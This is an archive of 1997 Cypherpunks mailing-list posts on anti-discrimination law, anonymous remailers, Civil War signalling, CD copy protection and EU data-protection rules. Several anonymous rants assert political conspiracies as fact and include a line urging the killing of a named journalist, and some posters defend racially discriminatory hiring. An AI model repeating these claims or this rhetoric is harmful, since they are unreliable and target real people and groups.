2) debate your position intelligently, I would greatly appreciate it.

>> I am not allowed to place toxic waste, or noise, where it can affect
>> others; I can ingest toxins privately and listen to whatever music I
>> like so long as you don't detect it in your backyard.
>
>Well, racism is hiring decisions is something that is detected in other
>people's backyards.  That's why its illegal.

What if I run a business out of my house?  What if I don't need
employees (such that I could affort to hire a couple of people,
or nobody at all)?  If I hire someone who is white because I don't
want to hire someone is black, then it is not a loss that is felt
within the black community, since I don't *need* to hire anybody
in the first place.

>>> In a fantasy world, it is mutually consensual.  It the real world, it is
>>> seldom mutual.
>
>> You prefer a shotgun or otherwise arranged marriage?
>
>I prefer a level playing field.

The above phrase is something that I hear a lot, and it deeply
disturbs me.  Regulation is allways seen as the arm of fairness,
when the above phrase is mentioned.

I am not allowed to choose to hire someone based on skin color,
and yet the country is riddled by "affirmative" action programs --
which, in the short and brutal version of the description of "AA"
is just a system of RACE-BASED PREFRENCES.

I find it very interesting that liberal activists in California,
who rabidly insist that racism is wrong, that we must have racial
dialogues, that we should all "just get allong," used the court
system to fight Proposition 209, which ends affirmative action in
that state.  The people voted their will, and the activists took
to the courts to override the people's will -- in effect, saying
that the California voting public is just a bunch of idiots.

I don't like someone telling me that I don't know better.  When
I like is as little government influence in my life as humanly
possible, be it in my choice of breakfast cereal, or employees.

>> Private behavior is private behavior, and trade is a private behavior.
>
>Not in this country.  If you don't believe me, check out Article I,
>Section 8 for one explicit example.

I read Article I, Section 8.  I shall quote the relevent portion that
relate to this discussion:

   "To regulate commerce with foreign nations, and among the several
   states, and with the Indian tribes; ... "

Now, then.  Notice the eighth word -- "amung."  As I understand
it, this means that the Fed can regulate INTERstate commerce, not
INTRAstate commerce.  This is why (again, as I understand it) the
Fed will inspect meat crossing state lines, but not meat that is
moved around within a state.  It is for this reason that not all
meat is inspected by the Fed.  If anybody has refrences to texts
that prove me wrong, bring them forward so that I can refine my
argument. :)

So, back to my home business.  Let's say I build computers and sell
them around the state.  Since I'm not transporting my product from
one state to another, the Fed can't constitutionally regulate how
I do business.

>>> With freedom comes responsibility.  Decency is one of them.

This is ALLWAYS the case.  You earn freedom through being a
responsible adult.  When you don't infringe on the rights of
others, the government has no grounds under which to infringe
on yours (through punishment or direct order).

>> But obligate decency at gunpoint is not worth it.
>
>It's called civilization.  You should try it some time.

No, no, no.  To obligate "decency" at gunpoint is definitely
NOT anything but facicism (sp?).  I remember a time when people
were obligated to do the "decent" thing and worship God and
Jesus Christ -- and, as the bumper sticker says, "The last time
religion and politics were mixed, someone got burned."

Decency is a very fuzzy word.  After all, the KKK says that
white people are the only decent people.  The KKK is in the
minority.  To use your own words:

"No majority group has a right to discriminate against a minority."

By your own words, the KKK should be allowed to discriminate
against blacks when they hire if they want to, since they are
in the minority when compared (by numbers) to all of the groups
they think are lesser than those of white skin.

After all -- does skin color constitute the only minority?  Not
according to the definition of the word.

Best wishes and fresh-roasted peanut taste,
The Sheriff. -- ***<REPLY TO: sheriff@speakeasy.org>***
---
As kinky as it sounds, finger me to see my PGP key and
confirm the signature attached to this message.
---
Any and all SPAM will be met with immediate prosecutory
efforts.  Solicitations are NOT welcome here!
---
        ----BEGIN INFLAMATORY BLOCK----
Version: 160 (IQ)
Comments: Definitely one of their greatest misses.

Reporter: "Do you know what Public Enemy is?"
---
Citizen: "Public enemy?"
          [long pause]
         "Probably somebody in office."
        -----END INFLAMATORY BLOCK-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Fri, 26 Dec 1997 02:00:16 +0800
To: The Sheriff <sheriff@speakeasy.org>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <ocrn2hr3df7.fsf@ml.com>
Message-ID: <v03102800b0c75c6172d0@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>>> Where do you get the right to tell others how they can make a living?
>>
>>I don't have that right.  However, the Supreme Court has said that the
>>Congress has that right.
>
>If you would be so kind as to a) specify that supreme court ruling,
>and b) identify an online resource where I can obtain the text of
>that decision, so that I can 1) confirm or deny your allegation, and
>2) debate your position intelligently, I would greatly appreciate it.

It has to do with the application of laws, especially Federal, to corporations.  Recall that Corporations are legal fictions and, unlike individuals, are not constitutionally vested with inaliable rights.  They have been affirmed some rights, including free speech bu the SC, but generally with more limitations.

>
>>> I am not allowed to place toxic waste, or noise, where it can affect
>>> others; I can ingest toxins privately and listen to whatever music I
>>> like so long as you don't detect it in your backyard.
>>
>>Well, racism is hiring decisions is something that is detected in other
>>people's backyards.  That's why its illegal.
>
>What if I run a business out of my house?  What if I don't need
>employees (such that I could affort to hire a couple of people,
>or nobody at all)?  If I hire someone who is white because I don't
>want to hire someone is black, then it is not a loss that is felt
>within the black community, since I don't *need* to hire anybody
>in the first place.

Use of your property, as long as its private, were vested with many constitutional rights (many of which now been eroded by decades of SC 'interpretation').  However, once you operate a business upon a property (evidenced by the issuance of a business license) it becomes a 'public convenience' which can (and often is) heavily regulated and restricted.

So, operate w/o a business license and incorporation and keep your rights but risk prosection for tax evasion, or license your business and lose many of those consititional protections you covet.  Catch-22.

>I am not allowed to choose to hire someone based on skin color,
>and yet the country is riddled by "affirmative" action programs --
>which, in the short and brutal version of the description of "AA"
>is just a system of RACE-BASED PREFRENCES.
>
>I find it very interesting that liberal activists in California,
>who rabidly insist that racism is wrong, that we must have racial
>dialogues, that we should all "just get allong," used the court
>system to fight Proposition 209, which ends affirmative action in
>that state.  The people voted their will, and the activists took
>to the courts to override the people's will -- in effect, saying
>that the California voting public is just a bunch of idiots.

They simply showed their true 'liberal' idiological colors.  What they really seek isn't guarantees of equal opportunity but equal outcomes under law, what Robert Bork calls Radical Egalitarianism in his recent book, "Slouching Towards Gamorah."   

>So, back to my home business.  Let's say I build computers and sell
>them around the state.  Since I'm not transporting my product from
>one state to another, the Fed can't constitutionally regulate how
>I do business.

Wrong, see my explanation, above.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 25 Dec 1997 07:15:53 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Civil War Crypto Question... (fwd)
Message-ID: <199712242335.RAA30528@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

There is a historical problem w/ the accredation of the various signals in
use during the Civil War in the book:

>    "Codes and Ciphers: An A to Z of Covert Communication, 
>    from the Clay Tablet to the Microdot,"
>    Fred B. Wrixon, Prentice Hall, 1992, paper. $18.00 
>    ISBN 0-13-277047-4

The author claims (from John Young's cydisk.htm):

<B> Myer, Albert</B> (1829-1880), U S. Army surgeon and cryptographer. To
finance his medical studies, Myer worked as an operator for the New York,
Albany, and Buffalo Telegraph Company. After entering the army, he developed
a visual signaling method in 1856 and called it flag telegraphy. (Two British
officers, Sir Francis Bolton and Vice Adm. Philip Colomb, independently developed
a similar system at about the same time.) Though it was approved for use
in 1860, the year Myer became chief signal officer, the system was not fully
appreciated until the outbreak of the U.S. CIVIL WAR in 1861. Myer's technique
then came to be known as "wigwag," from the motions of its hand-held flags
or disks for daytime signaling and torches or lanterns for sending messages
at night.

This is clearly several errors regarding 'wig-wag' signaling techniques and
Myer. These techniques go back to pre-Napoleonic times. Myers was a alphabetic
system where arm position denoted the letter, not the arm motion (hence
wig-wag).

In:

The American Civil War and the Origins of Modern Warfare
Edward Hagerman
pp. 40

"But the primary motive was recognition  of the benefits of this technology
to tactical and strategic coordination. The increasingly extended lines of
large American armies, especially  their tactical extension with the rifled
musket, as well as the rough terrain, challenged existing technology based
on wigwag signals supplemented by couriers."

In addition, McClellan didn't appoint Myer to be his signal officer until
August 20, 1861. Further, there was *no* signals department in the US Army
to be appointed to until *after* March 3, 1863 when legislation was passed
bringing the official Signal Corp. into being.

I don't have clue what Wrixon is talking about, but it clearly doesn't
have anything to do with history in general or crypto specificaly.

Cite this Wrixon's book with care.

  

    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Thu, 25 Dec 1997 02:27:52 +0800
To: cypherpunks@toad.com
Subject: Re: Completely anonymous communications ARE only for "Criminals"
In-Reply-To: <349d63d2.166534653@nntp.best.ix.netcom.com>
Message-ID: <19971224182004.5699.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

gburnore@netcom.com (Gary L. Burnore) wrote:

> :> Nope. If a lawyer believes he can win and there big money involved, he'll take
> :> it on the premise that he gets paid if he wins.   If the defendant has nothing
> :> to offer, the lawyer won't do it.  Thus, the falsly accused may not be able to
> :> afford to go to court.  The decision to sue is mostly based on how deep the
> :> pockets of the defendant would be.
> :
> :Then what's the point of going to all the trouble of tracking someone down if
> :you're unwilling or unable to take appropriate legal action against him
> :after he's found?
> 
> That's not what I said.  

If your decision to sue or not sue is based on the deepness of the
defendant's pockets, and if you didn't know this until after he was
identified, then you very might well end up tracking down and
identifying someone that a lawyer wouldn't be willing so sue (on a
contingency fee basis), right?

My question was, if Politas' suggestions were implemented and an
unknown individual was tracked down using the procedure he outlined,
and it turns out the individual was "judgement proof", who's going
to pay for the costs of the investigation?

Otherwise, you end up with an "in terrorem" remedy.  That's one that
you probably wouldn't or couldn't aqctually use, but the potential
to do so might serve as a deterrent.  Unfortunately, when free
speech is involved, that's exactly what many of us don't want.  It
cuts both ways.  Look at what the scientologists did to Julf and the
anon.penet.fi remailer.  Alleging some violation of Swedish law,
they almost succeeded in retrieving Julf's entire "traceability"
database linking account names to their "real" owners.  The end
result was that the remailer was destroyed.  Having privacy invading
data like that available put all of Julf's clients at risk.  In the
end, Julf felt that it was better to close down rather than risk
future raids.

That has pretty much driven a nail in the coffin of the sort of
"traceable" remailers Politas is now proposing.  It's a case of
"been there -- done that".  Few people relish ending up on the
Scientologists' (or the next organization like it that comes along)
hit list, and most now realize how vulnerable a remailer operator is
to coercion -- even the "legal" variety.  One doesn't even have to
be an anti-scieno to be a victim of such a raid.  Since they're so
paranoid about anonymity and the ability of people to publish their
"secret scriptures" anonymously, they might just steal such a
database and anonymously publish it themselves.  Outing thousands of
innocent remailer clients would irreparably harm the reputation of
remailers, which would work to their advantage.

I'll even go so far as to say that you'll never be able to eliminate
truly anonymous remailers.  First of all, you'll never get every
single country to adopt Politas' suggestions.  All it takes is one
untraceable remailer in an encrypted chain to make back-tracing a
message impossible (or at least prohibitively costly, in terms of
money, time, and computing resources).
 
> :> :So you're suggesting that the victim should suffer.  You are really saying
> :> :that it is perfectly acceptable for someone to be run out of a newsgroup by
> :> :a single person who refuses to be killfilable.
> :>  
> :>  
> :> Yup, that's what he's saying.
> :
> :I don't recall ever saying that.  How do you run a person out of
> :an unmoderated NG? 
> 
> Charlie, if he doesn't like your posts and you continue to post and he just
> can't bring himself to killfile you the next best thing is for him to leave,
> right?

That's one option, but I wouldn't make it a blanket suggestion.
Some ideas are worth defending and some are better off dropped.
I've seen fanatics on some NGs who have attracted exactly ZERO
supporters to their position, and dozens of people rebutting,
flaming, ridiculing them, etc. yet these folks persist.  Ultimately
it's their choice.

Let me cite an example.  I believe the earth is round and presumably
you do too.  But if you visited a NG that was the hangout of dozens
of flat-earthers, you probably wouldn't stick around too long to
argue the point.  At least I know I wouldn't.  Being right doesn't
require you to convince everyone.  You just accept the fact that
some arguments are unwinable and move on to more productive things.
The same could be said for religious or political flame wars.

If I expressed my opinion, and some religious kook accused me of
being the devil incarnate for espousing such heresy, I wouldn't
waste my time trying to netcop the person.  Maybe calling me "the
devil incarnate" is libellous, but IMO it's not worth the time and
effort to pursue.  And that's even with a net.kook who's posting
with a genuine e-mail address and his "real name".  An anonymous
kook is even less worthy of bothering with.

If he crosses the line and commits behavior that is flagrantly
illegal, then he's exposing himself to risk by doing so.  Let's face
it, people may walk down the street with ski masks on, and even if
it annoys you, you're probably not going to be able to unmask them.
If one robs a bank, though, he stands a far greater chance of being
identified and apprehended.  Politas' solution is like requiring
name tags on ski masks.  Let's worry about the bank robbers rather
than the people who wear ski masks.

> : And if it's moderated, and the moderator is allowing what
> :you consider libel against you, then you probably have a case against him.
> 
> True.
> 
> :That's what the courts decided in a landmark case against an ISP.  When you
> :manage the content then you become responsible for it as well.
> 
> Exactly.

The bottom line being, if you have a POV you wish to express, and
you encounter opposition in one forum, choose another one.  If you
can't find one, start one.

> :Nor do I understand the "who refuses to be killfilable" part, either. 
> 
> I believe he meanse by continously altering his name or by posting
> anonymously. 

If he's posting anonymously, then he's easily killfilable.  Just put
the return address of the remailer(s) he's using in your killfile.

If he's not posting anonymously, then that scenario is not related
to remailers.  If you're talking about multiple GENUINE IDs, then
the ISPs involved might be able to help -- assuming he's really
committing abuse OF the net, and not merely being annoying.  If
they're bogus IDs, then his ISP might have a policy about that as
well.

> : How can
> :someone you don't even know control your killfile?  I can killfile anyone I
> :want to, including "nobody@some_remailer".  I haven't killfiled anyone, but
> :I could do so if I wanted to.
> 
> You could but it's not worth it.  Killfile anyone posting anonymously because
> of one idiot?  I don't do that either.

Again, that's a choice you have to weigh.  Take each remailer ID and
decide whether the valuable posts from that ID outweigh the junk.
But, again, annoying posts aren't really what Politas' proposal
dealt with.  He was talking about actual laws being broken.

> :Why would that prevent you from contacting the police?  But consider that 
> :libel is a civil tort not a criminal offense, so the police aren't likely to 
> :get involved, even if you could identify the culprit.
> 
> True that a traceless remailer makes it impossible, not that getting the
> police involved would work. Sorry I wasn't clearer.

If you had a matter that truly concerned the police, the lack of a
suspect's name shouldn't hinder you.  After all, if someone had
stolen your car, you'd report it even if you didn't know who did it,
wouldn't you?  As I said previously, many bank robbers are caught
even if they wore masks or drove a car without license plates.

> :I'm really trying to understand what Politas' wants, but it's difficult.
> 
> I think he wants one particluar person to leave him alone.

I must have missed that point in following the thread.  If I recall
correctly, I asked him what particular problem he was trying to
solve, since it's easier to solve real, existing problems that
hypothetical ones.  He said that he didn't have any problems like
that himself, and doubted he would because he didn't normally engage
in behavior that would attract enemies, but he was concerned that it
might happen to others.

[Politas:  please feel free to jump in and clarify this point.]

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <anon@squirrel.owl.de>
Date: Thu, 25 Dec 1997 03:06:32 +0800
To: cypherpunks@cyberpass.net
Subject: Best Cypherpunk War Text
Message-ID: <0fbfd3a030778913888de9b2f48b8c35@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



The "lock and load," "Best Cypherpunk long gun" and other similar threads
have gotten me thinking.

Can any fellow Cypherpunks suggest any books or documents on the net
concerning urban warfare, generic non-urban warfare (e.g. plains),
differences between weapons, suggestions, etc. Basically a survivalist's
almanac, I suppose.

Threat model: For whatever reason the U.S. just collapsed. Civil war is
imminent and there is little or no civility in the streets. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Thu, 25 Dec 1997 08:59:11 +0800
To: cypherpunks@cyberpass.net
Subject: Cypherpunks IRC Christmas Eve Party
Message-ID: <199712250056.SAA01432@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



If anyone wants to drop by #Cypherpunks on EFNet this evening, myself and
others will be around to chat.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 25 Dec 1997 08:59:38 +0800
To: cypherpunks@toad.com
Subject: Press
Message-ID: <ccs9He1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Disgusted with the censorous antics of Declan the Lying Forger, some of us may
be forgetting there are still some good journalists out there.

Today's newsday has an excellent article by Gail Dutton, reporting from the
AAAS's Conference ion Anoynmous Communications on the Internet.  She managed
to identify all the important issues in a ways that a layperson can understand,
without oversimplifying; presented different points of view, including her
own without editorializing and/or pushing her opinions as facts. I'm not
saying that Declan should learn from her, because Declan is clearly too
stupid to learn; but other aspiring journalists should get hold of this piece
and use it as a paradigm for their own writing.

I urge JYA the Copyright Violator to get hold of Newsday and to add Gail
Dutton's article to his collection of Copyright Violations.


Also: a guy named Joe Celko writes an SQL column for the freebie DBMS magazine,
which I sometimes read. Here's a short except from his january column:

   Crypto and Databases

   More and more raw databases are being sent out on CD-ROMs because the price
   per unit to publish them and the cost of equipment to read them is so low
   per byte.

   For example, you can get some fo the Miller Freeman magazines on CD-ROM,
   and one Miller Freeman magazine, Dr. Dobb's Journal (www.ddj.mfi.com), has
   been very successful with software and textbook collections on CD-ROM. if
   you missed an issue when you went to the dentist's office, national
   Geographic and Misdscape are releasing 1078 years of national geogra[hic on
   30 CD-TROMs for $300 for educational institutions - every page of every
   issue. As of this writing, I do not have a price for individual buyers. For
   mroe informaiton contact Mindscae at www.mindscapeschool.com or
   800-231-3088.

   On the same subject, a U.K. company, PAN Technology Ltd
   (www.pantechnology.com), has launched CopyLok, a method of copy protecting
   CDs. CopyLok prevents copying on CD recordable devices and on expensive
   Laser Beam Recorders that produce replicators, glass masters, and stampers
   for injection molding. In allows any information to be loaded on the hard
   disk of a computer, but will only allow that software to run if the
   original CD is in the drive. It stops friend-to-friend copying, illegal
   shop replication, and mass replication and also prevents Internet
   distribution.

   The product looks good and will be popular with PC software and computer
   game companies, which have to dal with software piracy rates in China and
   Vietnam of 96 percent and 99 percent, respectively. CopyLok is the reslt of
   three years of research, and is the first and only anticopying technology
   to have received Philips approval and a Philips' patent Application. it
   doesn't contravene any of the Philips worldwide standards for CD-ROM
   recording, such as the Yellow or Blue Book.

   The downside of all this is that part of the protection scheme uses strong
   cryptography to recognize the CD. The Clinton administration is still
   opposed to strong crypto, so U.S. companies could be put in a situation
   whee they have to publish their CD databases overseas to get protection.
   Once more, we disarm the victims and punish the innocent.

Hmm. Other than the observation that copy protection sucks (I broke it back
when it was used with 360K floppies and I'll break it on CDs if it's worth my
while), we observe that if the COpyLok software uses crypto to authenticate
the CD, not to encrypt the data, then it could be exported with no paperwork.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lord_buttmonkey@juno.com (Matthew L Bennett)
Date: Thu, 25 Dec 1997 09:32:24 +0800
To: cypherpunks@toad.com
Subject: Re: Freedom Forum report on the State of the First Amendment
Message-ID: <19971224.202211.12886.0.Lord_Buttmonkey@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



>> You aren't being oppressed the other party doesn't want to interact
>> with you, unless that party is government providing base services to 
>all
>> (e.g. police/courts/border protection).
>
>Actually, you can be.

How?

>> You *are* being oppressed if mutually consensual behavior is 
>interfered
>> with by
>> others including the State.
>
>> You *are* being oppressed if you are coerced into a relationship you 
>don't
>> want.
>
>You are not being coerced into anything.  If you don't want to serve
>food to Blacks, don't open a restaurant.  It's your choice.

Umm, no, freedom doesn't work like that.  If you open a *private*
establishment, you have the right, according to the constitution, to deny
*anyone* the right to enter or eat in your restraunt.  However, if you
were banned from using the government postal service for being Jewish,
then yes, you are being oppressed.

>By the way, you are also not allowed to dump toxic waste in your own
>backyard.  Are you being oppressed?

Depends.  Does it affect your neighbors?  If so, then no.  If not, then
yes.

>> An employer-employee relationship is like a marriage or any other 
>arrangement
>> between adults -mutually consensual.
>
>In a fantasy world, it is mutually consensual.  It the real world, it 
>is 
>seldom mutual.

Tough shit.

If you don't like your job, no one's forcing you to stay.  Just leave it
and get another one.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 25 Dec 1997 04:54:13 +0800
To: cypherpunks@toad.com
Subject: This post is none of your business
Message-ID: <199712242046.VAA17648@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Excerpts From:
None of Your Business: 
World Data Flows, Electronic Commerce, and the European Privacy Directive
Peter P. Swire & Robert E. Litan

>The Directive's limits on transborder data flows directly confront 
>organizations' expectations to be able to circulate information freely 
>inside the organization's firewalls and other security.  Operations 
>in the United States and other third countries will often expect to 
>exchange data about employees with European operations.  
>Wherever there is no finding of adequacy, however, sending data to 
>third countries risks violating the data protection regime.  
>Organizations thus face a compliance dilemma of whether they can 
>implement Intranet and other information technologies consistent with 
>European law.

  Keep in mind that ignorance of laws written on foreign shores, in 
foreign languages, will be no excuse.
  Americans can expect to be indicted as coconspirators of people they
have never met, have never seen, and have never communicated with.

  "Put down that copy of the Constitution, and slowly back away from
the keyboard, Monsieur!"

>In an era of transnational business, the accounting and auditing 
>functions of companies require transfer of an increasingly wide range 
>of information across borders.  To carry out these functions, auditors 
>and accountants must have the ability to examine the underlying 
>documentation of transactions.  This documentation often includes 
>personally identifiable information.  
>The Directive thus challenges the ability of transnational firms to 
>follow accepted and appropriate procedures for audit and accounting.

  So we can expect to see governments and megacorporations blow off
billions of dollars in order to protect Dimitri Vulis' privacy.
  Right...


  "None of Your Business" is full of references to "transnational"
corporations and organizations, and the development of "Intranet"
and "Extranet" webs within and among them.
  While it addresses many of the issues which will come into play
regarding regional laws and regulations in the expanding global 
InterNet (and does a damn fine job of it), I believe that, in the
end, the single issue which will decide the fate of all who use
the InterNet will be the right to privacy.
  Without privacy, freedom and self-determination are not possible.

  The more things globally change, the more they will remain the
same. 
  Individual Bernsteins will find themselves pitted against
the bottomless pockets of governments and corporations, while
'transnational' RSAs will be free to engage in activities of
momentous proportions which are forbidden to the Bernsteins of
the world in even the smallest of instances.

  'Data Protection' will be as big a farce as 'News Protection'
currently is. It will be a tool for those with money and power
to control and manipulate the information that citizens are
allowed to access, and the form in which they will be allowed
to view it.
  The 'personal information' concerning the 'guerilla' mothers
and babies who are slaughtered by US troops will be 'protected'
(and thus 'unavailable), while the 'personal information' regarding 
the 'men of valor' who died while slaughtering them will be made 
available for a nation told to mourn only them.
  The 'personal information' concerning those who get filthy rich
selling the government $10,000 toilet seats will be 'protected',
while the 'personal information' regarding every small sin in the
lifetime of the whistleblower who exposes the thief will be made
available to every media souce on the face of the earth.

  The citizen's answer, "None of Your Business," will inevitably
be countered by the government's question, "What do you have to
hide?"
  With the expansion of global laws to cover every action and
activity possible to humankind, 'data' becomes translatable as
'evidence.' And "everything" becomes the government's business.

  Is it my imagination, or are Swire and Litan, as well as all
others who write about the current state of development of 
global technology, society and law, merely providing real-time
footnotes to '1984', without providing Orwell's insight into
our true future?

~~~~
1984AnimalFarmBraveNewWorldMonger
"Everything not permitted, is forbidden."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 25 Dec 1997 04:54:05 +0800
To: cypherpunks@toad.com
Subject: Cryptographers Do It With Protection
Message-ID: <199712242046.VAA17716@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Excerpts From:
None of Your Business: 
World Data Flows, Electronic Commerce, and the European Privacy Directive
Peter P. Swire & Robert E. Litan

>The Tension Between Data Protection 
>and Modern Information Technologies

>On almost any conceivable dimension, we are in the midst of an information 
>explosion.  Data protection rules, by contrast, seek to block flows of 
>information.

  Data 'Control' is oppression.
  Data 'Protection' is our friend.

  "If putting all information about every individual on the face of the
globe in the hands of the New World Order saves the life of a single
child..."

>Seen another way, the rise of computers and computer networks is undoubtedly
>a major reason why countries have promulgated data protection rules in 
>recent decades.  In both the United States and Europe, current debates 
>about privacy are being driven by fears about how computers pose a threat 
>to privacy.  
>That is, computers are the key reason for data protection rules.
...
>International flows of data.  International flows of information are 
>climbing rapidly within companies, as they create global Intranets, 
>and between companies, as they use Extranets with their strategic 
>partners.

  And these "data protection rules" are going to be enforced equally for
everybody, right?
  If you and I are fined and imprisoned for violation of these rules, then
it will be likewise for owners of megacorporations, government employees,
etc. 
  Just like at Waco and Ruby Ridge, Kent State and Tiennachinc Square...
Just like murdering dictators at the APEC summit would have been maced and
arrested if they carried signs saying "Freedom & Democracy."

  Get real. While Bernstein has the Dogs of InfoWar set on his ass, RSA
is exporting cutting edge encryption technology to Communist China.

Bottom Line: Just as is the case today, the "data protection" laws and
regulations of the future will apply only to those individuals and
corporations who fail to fall in line with the New World Order's desire
for all new technologies to contain tools of surveillance and oppression.

"Those who have nothing to hide, have nothing to fear."

  Put a cork in your asshole...the government is going to 'protect'
you again.

BendOverI'mHereToHelpYouMonger
|<-----------------------------------------------------------
  -----------------------------------------------------------
  -----------------------------------------------------------
  ----------------------------------------------------------->|
                             6"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 25 Dec 1997 04:54:21 +0800
To: cypherpunks@toad.com
Subject: Digital Revolutionaries
Message-ID: <199712242047.VAA17777@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>		None of Your Business: 
>World Data Flows, Electronic Commerce, and the European Privacy Directive
>	    Peter P. Swire & Robert E. Litan
>
>
>	B.	Some Reasons for Data Protection Laws.
>Before plunging into the Directive and its potential effects, 
>it is useful to understand why laws have emerged in recent decades -- 
>not only in the United States but elsewhere throughout the world -- 
>to govern uses of personal data. And perhaps the best, although 
>admittedly overdrawn, way to do this is by imagining a privacy 
                                                      ^^^^^^^^^
>advocate's worst nightmare -- the presence of an Orwellian, 
 ^^^^^^^^^^^^^^^^^^^^^^^^^^
>all-knowing computer, which contains a complete dossier on 
>every individual in a society.

  "Overdrawn?" Methinks Peter and Robert are on the outside,
looking in.

Forwarded from the London Telegraph:
-----------------------------------------------------------
>Daily Telegraph  Connected Supplement 16th December 1997
>
>A European Commission report warns that the United States has developed an
>extensive spying network on European Citizens and we should all be worried,
>reports Simon Davies.
>
>A global electronic spy network that can eavesdrop on every telephone,email
>and telex communication around the world will be officially acknowledged
>for the first time in a European Commission report to be delivered this
>week.

  Of course, anyone who suggests that they would use this information to
compile a complete dossier on everyone in sociey is a paranoid lunatic,
just as those who suggested the above *before* it became an open secret
were paranoid lunatics.

>Briefly consider what sorts of harms might occur if such a computer existed.
>If the computer were controlled by the government, then individuals might 
>feel chilled by constant surveillance. They might fear government would use 
>the computer to retaliate against its political enemies. They might be 
>afraid that those who controlled the computer would become an unaccountable
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>elite, whose command over secret files would help entrench themselves in 
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>power.
 ^^^^^

  Are Peter P. Swire & Robert E. Litan the *real* Author of 'The True Story
of the InterNet'?
  Is this why no one has ever seen them and TruthMonger together?

>The fears hardly disappear if the computer were controlled by corporations 
>in the private sector. In that case, private actors would gain extraordinary 
>power vis-a-vis the government. Meanwhile, corporate-controlled computers 
>can be just as invasive of personal privacy as those controlled by 
>government.  

  Can you say "Fascism?" Sure you can...

>What should be a society's response to these doomsday scenarios of the 
>all-knowing computer?  To the extent the scenarios are plausible, society 
>should seek ways to prevent and correct the abuses of power that can occur 
>with centralized control over information by the public and private sectors.

  "Society?" 
  Is "society" ready and willing to spend five *extra* years in prison for
the use of encryption and/or anonymity in the commission of such crimes as
exporting strong encryption?
  Is "society" ready and willing to fight the battles of tomorrow, *today*?

	"If you meet Dan Rather on the road, kill him."
  
>On the other hand, there may be important reasons why the doomsday scenarios
>will not occur, and especially reasons for doubting that information 
>technologies inevitably lead to centralization of control over information.
>As we explain in detail in subsequent chapters, both the United States and 
>European Union have taken steps to address the perceived risks caused by 
>individuals' loss of control over their personal information.

  Excuse me?
  We can expect to be 'saved' by governments which have already taken away
our basic human rights, and who continue to do so in increasing quantum 
leaps?
  We can expect to be 'saved' by Jim Bell's government? Or by the Branch
Davidian's government? Or by the government which arrested and maced its
citizens for possession of signs saying "Freedom & Liberty" during the
APEC summit where unelected dictators met with elected dictators to divvy
up the world's financial spoils?

  "We're from Adolf Hitler's government, and we're here to help you..."

NEWS FLASH!!!
The inevitable forced march to centralized information and centralized power
over the face of the globe will be successfully resisted only as it has been
done so in the past, through the efforts of Revolutionaries and Warriors.
This time, by Digital Revolutionists and InfoWarriors.

  Who is going to inform the public of what is taking place in the secret
war against the citizens?
  The Desert Storm reportwhores? The mainstream media who whipped the public
into being outraged by the sight of the bodies of US soldiers being dragged
through the streets of Somalia, while ignoring the stories of Somalian 
mothers with babies in their arms being slaughtered by those US soldiers?

  What segment of "society" is going to rise up in protest against the
outrages of the future?
  The segment that watched JFK, RFK, MLK, et al, be slaughtered by the 
Dark Allies, and slept comfortably with mainstream media visions of lone
gunmen and Magic Bullets dancing in their heads?
  The segment that watched the Iranian hostages responsible for the election
of RR and his CIA running mate being released on the same day as RayGun's
and BushWhacker's inauguration, and never smelled a ratfucker?
  The segment that can sleep comfortably after watching their government
burn to death the men, women and children of a religious group targeted
for persecution?
  The segment whose best revolutionary efforts have been to make feeble
attempts to fight yesterday's battles years after they have already been
lost, and the lies, hypocrisy and dark intentions of our government masters
begin to become public?

  The Revolution is Now!
